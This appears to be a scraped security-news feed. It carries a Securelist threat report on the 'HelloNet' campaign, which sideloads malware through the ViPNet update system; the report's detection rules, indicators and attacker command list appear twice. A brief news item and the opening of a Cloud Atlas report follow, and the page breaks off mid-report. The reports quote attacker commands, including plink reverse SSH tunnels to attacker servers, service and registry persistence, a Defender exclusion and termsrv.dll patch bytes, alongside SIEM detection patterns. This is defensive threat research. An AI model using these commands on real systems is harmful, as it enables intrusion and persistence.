Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

Trojan.Win32.Agentb.ttoe
Trojan.Win64.Convagent.gen
Trojan.Win64.Agent.smgpqx
HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

R220_02_Collection of user account information using standard Windows tools
R221_01_Windows group discovery via Windows tools
R224_02_Remote system discovery via standard Windows tools
R224_14_Windows reconnaissance activity
R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:

(DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
AND match(FileName, '.*\\.(exe|dll)')
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:

DeviceEventClassID = 7
AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
AND FileName ilike '%wtsapi32.dll'
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:

(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
```
DeviceEventClassID = '1'
AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
```

Atypical reconnaissance execution from the svchost.exe process:

(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName ilike '%svchost.exe'
AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

Creation of tunnels using renamed ssh or plink processes:

DeviceEventClassID = '1'
AND match(OldFileName, '.*(plink|ssh).*')
AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

"cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

"cmd" /c arp -a
"cmd" /c routeprint

T1049 — System Network Connections Discovery

"cmd" /c netstat -ano

T1018 — Remote System Discovery

"cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

"cmd" /c systeminfo

T1057 — Process Discovery

"cmd" /c tasklist

T1007 — System Service Discovery

"cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

"cmd" /c dir temp*.tmp
"cmd" /c dir $temp\*.tmp
"cmd" /c dir amgmt*
"cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
"cmd" /c dir $public\libraries\
"cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

"cmd" /c type $temp\TS_E9E3.tmp
"cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

"cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

"cmd" /c del $windir\amgmt.dll
"cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

sc stop AppMgmt
sc delete AppMgmt
sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

"cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

"cmd" /c $windir\amgmt.bat
"cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

"cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

"cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

"cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

Securelist
HelloNet campaign: new malicious modules launched through the ViPNet update system 16 July 2026 at 15:05

HelloNet campaign: new malicious modules launched through the ViPNet update system

Securelist

By: Konstantin Isakov · Georgy Kucherin · Anton Kargin

16 July 2026 at 15:05

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

AFD_RECV (0x12017)
AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

Working as a proxy. The malware accepts strings in the following format:
```
<ip_addr>:<port>
```
Afterwards, it creates new sockets and starts forwarding traffic between them.
Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

Trojan.Win32.Agentb.ttoe
Trojan.Win64.Convagent.gen
Trojan.Win64.Agent.smgpqx
HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

R220_02_Collection of user account information using standard Windows tools
R221_01_Windows group discovery via Windows tools
R224_02_Remote system discovery via standard Windows tools
R224_14_Windows reconnaissance activity
R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:

(DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
AND match(FileName, '.*\\.(exe|dll)')
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:

DeviceEventClassID = 7
AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
AND FileName ilike '%wtsapi32.dll'
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:

(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
```
DeviceEventClassID = '1'
AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
```

Atypical reconnaissance execution from the svchost.exe process:

(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName ilike '%svchost.exe'
AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

Creation of tunnels using renamed ssh or plink processes:

DeviceEventClassID = '1'
AND match(OldFileName, '.*(plink|ssh).*')
AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

"cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

"cmd" /c arp -a
"cmd" /c routeprint

T1049 — System Network Connections Discovery

"cmd" /c netstat -ano

T1018 — Remote System Discovery

"cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

"cmd" /c systeminfo

T1057 — Process Discovery

"cmd" /c tasklist

T1007 — System Service Discovery

"cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

"cmd" /c dir temp*.tmp
"cmd" /c dir $temp\*.tmp
"cmd" /c dir amgmt*
"cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
"cmd" /c dir $public\libraries\
"cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

"cmd" /c type $temp\TS_E9E3.tmp
"cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

"cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

"cmd" /c del $windir\amgmt.dll
"cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

sc stop AppMgmt
sc delete AppMgmt
sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

"cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

"cmd" /c $windir\amgmt.bat
"cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

"cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

"cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

"cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

SecurityWeek
China’s Top Cybersecurity Firms Hit by Mounting Military Procurement Bans 16 July 2026 at 10:49

China’s Top Cybersecurity Firms Hit by Mounting Military Procurement Bans

SecurityWeek

By: Eduard Kovacs

16 July 2026 at 10:49

Chinese cybersecurity firms are facing action from the country’s military, but it’s not due to product or technical failures.

The post China’s Top Cybersecurity Firms Hit by Mounting Military Procurement Bans appeared first on SecurityWeek.

Securelist
Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload 22 May 2026 at 11:12

Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload

Securelist

By: Kaspersky

22 May 2026 at 11:12

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Step	Action	Description
1	Drops “$temp\fixed.ps1”	Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2	Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup	Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3	Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded “$temp\rar.zip”	Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4	Extracts “*.pdf” from the downloaded “$temp\rar.zip”	Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6	Opens extracted decoy document “*.pdf” with user’s default software	User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6	Executes “taskkill.exe /F /Im winrar.exe”	Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7	Searches and deletes “rar.zip”, “.pdf.zip” and “.pdf.lnk”	Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8	Executes “$temp\fixed.ps1”	Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

